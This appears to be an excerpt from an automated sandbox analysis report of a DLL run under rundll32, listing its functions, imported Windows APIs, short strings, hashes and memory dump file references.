Opcode Fuzzy Hash: f86d666ce77a50f1f388e1c7177cd6cafd7afe46af75158c94abe476d195f29a
Instruction Fuzzy Hash: 6CB19C72B00B488AFB52DBB5D8407DD73B1BB487E9F408616AE5923B99DF38C248C344

Function 0000000180004C00 Relevance: 16.9, APIs: 11, Instructions: 377
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001800058E0: CharNextW.USER32 ref: 0000000180005914
Part of subcall function 00000001800058E0: CharNextW.USER32 ref: 000000018000594C
Part of subcall function 00000001800058E0: CharNextW.USER32 ref: 000000018000596E
Part of subcall function 00000001800058E0: CharNextW.USER32 ref: 0000000180005986
Part of subcall function 00000001800058E0: CharNextW.USER32 ref: 0000000180005995
Part of subcall function 00000001800058E0: CharNextW.USER32 ref: 0000000180005A05

lstrcmpiW.KERNEL32(?,?,00000001,?,?,00000000,00000000,0000000180007281,?,?,?,00000001800065C0,?,00000000,00000000,00000001800067C4), ref: 0000000180004C7A
lstrcmpiW.KERNEL32(?,?,00000001,?,?,00000000,00000000,0000000180007281,?,?,?,00000001800065C0,?,00000000,00000000,00000001800067C4), ref: 0000000180004C98
CharNextW.USER32(?,?,00000001,?,?,00000000,00000000,0000000180007281,?,?,?,00000001800065C0,?,00000000,00000000,00000001800067C4), ref: 0000000180004D0E
CharNextW.USER32 ref: 0000000180004E33
CharNextW.USER32 ref: 0000000180004E4F

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CharNext$lstrcmpi
String ID:
API String ID: 3586774192-0
Opcode ID: 71c4c3b59187793c0ac5c0779b293300478a4f86ff031f17b4ac1dc5bd20a7ba
Instruction ID: b43cafc7f3d77eeea5c5002e53b8c5657f30a84e0d4b18a0f8ec373f57851286
Opcode Fuzzy Hash: 71c4c3b59187793c0ac5c0779b293300478a4f86ff031f17b4ac1dc5bd20a7ba
Instruction Fuzzy Hash: 90E1917220868886EBB2CF15E4503EA77A1F78CBD5F94C121EA99876D5DF38C64DC704

Function 0000000180001650 Relevance: 13.7, APIs: 9, Instructions: 168nativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL ref: 00000001800016E6
NtClose.NTDLL ref: 000000018000175A
NtClose.NTDLL ref: 0000000180001769
RtlNtStatusToDosError.NTDLL ref: 00000001800017A6
SetLastError.KERNEL32 ref: 00000001800017AE
LocalFree.KERNEL32 ref: 00000001800017C6
LocalFree.KERNEL32 ref: 00000001800017D5

Part of subcall function 0000000180001490: NtCreateSection.NTDLL ref: 00000001800014EB
Part of subcall function 0000000180001490: LocalAlloc.KERNEL32 ref: 0000000180001506
Part of subcall function 0000000180001490: LocalAlloc.KERNEL32 ref: 000000018000152F
Part of subcall function 0000000180001490: NtConnectPort.NTDLL ref: 0000000180001576
Part of subcall function 0000000180001490: NtRequestWaitReplyPort.NTDLL ref: 00000001800015E2

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Local$AllocCloseErrorFreePort$ConnectCreateInitLastReplyRequestSectionStatusStringUnicodeWait
String ID:
API String ID: 1580264094-0
Opcode ID: 931ebf02e4467db49fc8b2c2b9832907ae0e77b5b799dd1407357c31cd3cb390
Instruction ID: e866a237de2d12efbca159f2353c94c74ce47be49055a04e80e62e2632237061
Opcode Fuzzy Hash: 931ebf02e4467db49fc8b2c2b9832907ae0e77b5b799dd1407357c31cd3cb390
Instruction Fuzzy Hash: 55616B32202B4889EB96DF61E8503E933A4FB89FD5F58D525EE8E07785CF38C6598344

Function 000000018000B210 Relevance: 11.6, Strings: 9, Instructions: 383COMMON

Download Yara Rule

Strings

_ftv, xrefs: 000000018000B254
TJz5, xrefs: 000000018000B244
mY<M, xrefs: 000000018000B260
e, xrefs: 000000018000B27D
9_>$, xrefs: 000000018000B23C
k, xrefs: 000000018000B26D
l3>2, xrefs: 000000018000B24C
r, xrefs: 000000018000B275
!y<z, xrefs: 000000018000B234

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID:
String ID: !y<z$9_>$$TJz5$_ftv$e$k$l3>2$mY<M$r
API String ID: 0-2568991842
Opcode ID: 5ffd56415c9b792a629ee29e43db2d1630973c4545be7d01359f86a4d909744e
Instruction ID: 8778e38a3da5d31117615d5389a3cd498a76a02c2a39e0be9be25283be3d4af3
Opcode Fuzzy Hash: 5ffd56415c9b792a629ee29e43db2d1630973c4545be7d01359f86a4d909744e
Instruction Fuzzy Hash: D5E110327167888ADB55CF39E044BAD3BE1F749BC9F598029EE4D87B45DA38D609CB00

Function 00000001800118B8 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 0000000180011931
RtlLookupFunctionEntry.NTDLL ref: 0000000180011949
RtlVirtualUnwind.NTDLL ref: 0000000180011984
IsDebuggerPresent.KERNEL32 ref: 00000001800119BD
SetUnhandledExceptionFilter.KERNEL32 ref: 00000001800119C7
UnhandledExceptionFilter.KERNEL32 ref: 00000001800119D2

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: f2b76127cd05c31a2ecadb270094ed0c6689056a0af10cec6eb284afa3def46a
Instruction ID: 905706a78b28de553ff1c072a988b606fa7db5b73e11ba1501fb652d9d2a54d3
Opcode Fuzzy Hash: f2b76127cd05c31a2ecadb270094ed0c6689056a0af10cec6eb284afa3def46a
Instruction Fuzzy Hash: 29315E36214F848AEBA5CB25E8403EE73A4F78D795F504126EA9D43B55DF38C259CB00

Function 000000018001EC90 Relevance: 7.8, APIs: 5, Instructions: 325fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32 ref: 000000018001ECFF
WriteFile.KERNEL32 ref: 000000018001EFAE
WriteFile.KERNEL32 ref: 000000018001F000
GetLastError.KERNEL32 ref: 000000018001F147
GetLastError.KERNEL32 ref: 000000018001F159

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ErrorFileLastWrite$Console
String ID:
API String ID: 786612050-0
Opcode ID: 00e79c1934c4a50b45bd69d51485f00fea5bd4bfbc5359d19334335588203000
Instruction ID: a2848cc2b4c799ce440ff5b96a3b0396b6e0cbd7ead21464558e611985a9af31
Opcode Fuzzy Hash: 00e79c1934c4a50b45bd69d51485f00fea5bd4bfbc5359d19334335588203000
Instruction Fuzzy Hash: D6E1CC72704B889AE752CF64D5403ED7BB5F3497D8F548216EE8A87B99DE38C25AC300

Function 0000000180001490 Relevance: 7.6, APIs: 5, Instructions: 105nativememoryCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL ref: 00000001800014EB
LocalAlloc.KERNEL32 ref: 0000000180001506
LocalAlloc.KERNEL32 ref: 000000018000152F
NtConnectPort.NTDLL ref: 0000000180001576
NtRequestWaitReplyPort.NTDLL ref: 00000001800015E2

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AllocLocalPort$ConnectCreateReplyRequestSectionWait
String ID:
API String ID: 4119859285-0
Opcode ID: 3c4ded47a680b4dba9f3c6c4b85c20580f6d157d1bf03a574ec117bbe4753639
Instruction ID: a3633154fbdd70f9f1265950c11d40fef8ef3799bcdc3cfc3739c56f6c74ca62
Opcode Fuzzy Hash: 3c4ded47a680b4dba9f3c6c4b85c20580f6d157d1bf03a574ec117bbe4753639
Instruction Fuzzy Hash: 1F4198B2200B4486E752CF22E890B9A73B5F78CBD4F548116EF890BB54DF38C2A8C740

Function 00000001800012B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 127nativeCOMMON

Download Yara Rule

APIs

NtConnectPort.NTDLL ref: 0000000180001372
NtRequestWaitReplyPort.NTDLL ref: 000000018000140F
NtRequestPort.NTDLL ref: 000000018000144E

Strings

(, xrefs: 00000001800012ED

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Port$Request$ConnectReplyWait
String ID: (
API String ID: 3401284753-3887548279
Opcode ID: a17ab488e79211bc0cd77551181ff08188d7113eb83031c34617cc42284ebbf9
Instruction ID: 0b4ee39ac70773bad8c72dec1bca403db6e80d9ae34062aed01429b11a06f256
Opcode Fuzzy Hash: a17ab488e79211bc0cd77551181ff08188d7113eb83031c34617cc42284ebbf9
Instruction Fuzzy Hash: 3941B17621074486D75ADF22E9103EAB7A4F74DBE9F448129EF5947B94DF38C258C700

Function 000000018000D1F4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000000018000D255
IsDebuggerPresent.KERNEL32 ref: 000000018000D26D
OutputDebugStringW.KERNEL32 ref: 000000018000D27E

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 000000018000D277

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: ecc7c02a7c48d1b9bb403a0a685e52ae2bef50b807fb938a6a103126c9ec8dad
Instruction ID: f7053bd0396e4c91faca25b0ce3bca3198b66af44fd4a3770348632d72e6f07e
Opcode Fuzzy Hash: ecc7c02a7c48d1b9bb403a0a685e52ae2bef50b807fb938a6a103126c9ec8dad
Instruction Fuzzy Hash: F2117C32310B49A7F786DB22D6543E933A1FB58395F40C029EB4982A91EF38D2BCC750

Function 000000018001C030 Relevance: 4.8, APIs: 3, Instructions: 317COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 000000018001C096
memcpy_s.LIBCPMT ref: 000000018001C0C1

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: f29964d4d074ff740ab5c5c4a69c71e1df2f4ab3341a8f321d23fb1440215b82
Instruction ID: ab26540b469f4e0b7354eaa43e5dc34d3c8a3db2f2067e80026fb295d4431794
Opcode Fuzzy Hash: f29964d4d074ff740ab5c5c4a69c71e1df2f4ab3341a8f321d23fb1440215b82
Instruction Fuzzy Hash: E1C13572314A8887EBA5CF59E044BAEB7A1F38C7C4F04C129EB4A43744DB38DA09CB44

Function 00000001800176FC Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 248COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000000180017760

Strings

gfffffff, xrefs: 00000001800179FD

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: gfffffff
API String ID: 3215553584-1523873471
Opcode ID: 29b53218aada1bfaf555c88ff8f51b8c3ea41b2ddbddc66683f582b2efc6800f
Instruction ID: d5f4c3970d5aeeaf96ee39d0bbc91cfde74807dcd6d6f7dff4054119b9e845af
Opcode Fuzzy Hash: 29b53218aada1bfaf555c88ff8f51b8c3ea41b2ddbddc66683f582b2efc6800f
Instruction Fuzzy Hash: FC914776B05BC886EB57CB2694047ED67A5A798BC4F45C022EA5D47392EE3DC70AC301

Function 00000001800190AC Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 165COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000001800190DC

Part of subcall function 0000000180011B1C: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,0000000180011AC9), ref: 0000000180011B25
Part of subcall function 0000000180011B1C: GetCurrentProcess.KERNEL32(?,?,?,?,0000000180011AC9), ref: 0000000180011B4A

Strings

*?, xrefs: 0000000180019103

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor_invalid_parameter_noinfo
String ID: *?
API String ID: 4036615347-2564092906
Opcode ID: 638f86a2e7e4d49ae37fc61a8604ed8cc7821a2d7003b1787a476158c59390ab
Instruction ID: c53920aa58a2c5c477e4ddcd8784a66920eacb89b2f6c2551fde3878be2706bc
Opcode Fuzzy Hash: 638f86a2e7e4d49ae37fc61a8604ed8cc7821a2d7003b1787a476158c59390ab
Instruction Fuzzy Hash: D051F172712F9896EF56CFA698107E927A1F75CBD8F448925FE0907B85EE38C249C300

Function 0000000180020B88 Relevance: 3.2, APIs: 2, Instructions: 232COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 0000000180020DD7
RaiseException.KERNEL32 ref: 0000000180020DE8

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 96a3d8c50637d70c3f3cb1306a56311f0dcd62ca48fcb2cbf219494e5d1037cd
Instruction ID: 648eb3e1a3d264b868d97efdb07806848391ff1d666815d5f8bf510b7b6f61da
Opcode Fuzzy Hash: 96a3d8c50637d70c3f3cb1306a56311f0dcd62ca48fcb2cbf219494e5d1037cd
Instruction Fuzzy Hash: 81B13C77601B888BEB56CF29C88639C77A0F348B88F25C911EB5D87BA5CB35D555C700

Function 00000001800192B8 Relevance: 1.6, APIs: 1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a0d511daa76b2add08b6cf1d954412bc24922615d6c72f3a389e32da79074dd
Instruction ID: f5247d19c4a2f21f15a273300c0f248272051d6bd59ce838a4866cda87e7ddfb
Opcode Fuzzy Hash: 9a0d511daa76b2add08b6cf1d954412bc24922615d6c72f3a389e32da79074dd
Instruction Fuzzy Hash: 7351E232704B9489FBA18BB2A9007DE7BA5B748BD8F548214FE5947AC9DF38C609C700

Function 000000018000AEB0 Relevance: 1.5, APIs: 1, Instructions: 35comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32 ref: 000000018000AEF7

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 804d6505040ce09ed7435f6abd1abee81e87c54fd0825d30cfa66532a33f6242
Instruction ID: 4d9a018905f81f9742fa9f835d5cd3dec3ae5fd00beb7bebe9c1c9131f8ce4f3
Opcode Fuzzy Hash: 804d6505040ce09ed7435f6abd1abee81e87c54fd0825d30cfa66532a33f6242
Instruction Fuzzy Hash: DD014F76604A55C2E742CF29F440399B3A1F789BD4F59C021EB8C47728DF39C95AC700

Function 0000000180013448 Relevance: 1.5, Strings: 1, Instructions: 209COMMON

Download Yara Rule

Strings

0, xrefs: 0000000180013617

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: a3e37c8392fb69789fcb670956d6be564c39cd3358dcf4f144a3246faadc7462
Instruction ID: 4891774f674067419b98f2762e2dc0ae8d3b101d03b98106934d6c6ae6e356d6
Opcode Fuzzy Hash: a3e37c8392fb69789fcb670956d6be564c39cd3358dcf4f144a3246faadc7462
Instruction Fuzzy Hash: D571F575310E0982FBEA9A2A80027ED67A2E748BC4F84D026BD45577D9CF39CA4FD705

Function 00000001800131E0 Relevance: 1.4, Strings: 1, Instructions: 196COMMON

Download Yara Rule

Strings

0, xrefs: 0000000180013379

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: 59054be6faeb87a9b4443c12d56d742d66833c079548067e0105da6d94648733
Instruction ID: 3d9d4a359dfac3b61326fce4702e62f4a81a921d99a91ccf31e2ba3a7bc04830
Opcode Fuzzy Hash: 59054be6faeb87a9b4443c12d56d742d66833c079548067e0105da6d94648733
Instruction Fuzzy Hash: 9361B331208E4C46FBFB9A2990033EE6791A74ABC8F449115FD81576DACE36CB4F8749

Function 000000018001AC34 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000000018001AC38

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 64f53cc1582c5c6f9fa0a9f1e343647baf0b76f4fb76810c580d316f29d75989
Instruction ID: 524bcd5a47e6da71deb7b20155b822fb170eeabad2dcc64ddd503bc1873ce2e2
Opcode Fuzzy Hash: 64f53cc1582c5c6f9fa0a9f1e343647baf0b76f4fb76810c580d316f29d75989
Instruction Fuzzy Hash: 81B09230A03A48C2EA8B2B116C4234423B47B4D741F95C018904D41360EF3C02AE5700

Function 000000018000A040 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e03d739db6423ffcc8e006e4e4d65807781c6aecac58f04167dbdfb07267b1ba
Instruction ID: 6af9ee9013878f181c15f1713bc348178ffb3d4f2e8e94475c7dc28adbcd32fa
Opcode Fuzzy Hash: e03d739db6423ffcc8e006e4e4d65807781c6aecac58f04167dbdfb07267b1ba
Instruction Fuzzy Hash: 8351E4B3B0568843DB258B49FC42796F7A5FB987C5F00A126EE8D57B68EB3CD5818700

Function 00000001800154A0 Relevance: .1, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: c3dd02af005dbbc35606ada343e24a33c525e9539510d4980a914492448f05e2
Instruction ID: 22ddbfb3a3317d9b8aad32e2f9d64e1308a7fd9bb0cbcf172f9f766cedf38c1a
Opcode Fuzzy Hash: c3dd02af005dbbc35606ada343e24a33c525e9539510d4980a914492448f05e2
Instruction Fuzzy Hash: 3B419372310E5882EF89CF26D964799A3A1B74CFD4F49D026EE4D87B54DE3CC54A8300

Function 00000001800206B0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdaf272eb1844347be1a48321dfbfe9aa180a2ef53fcf2148db801cde92ebed4
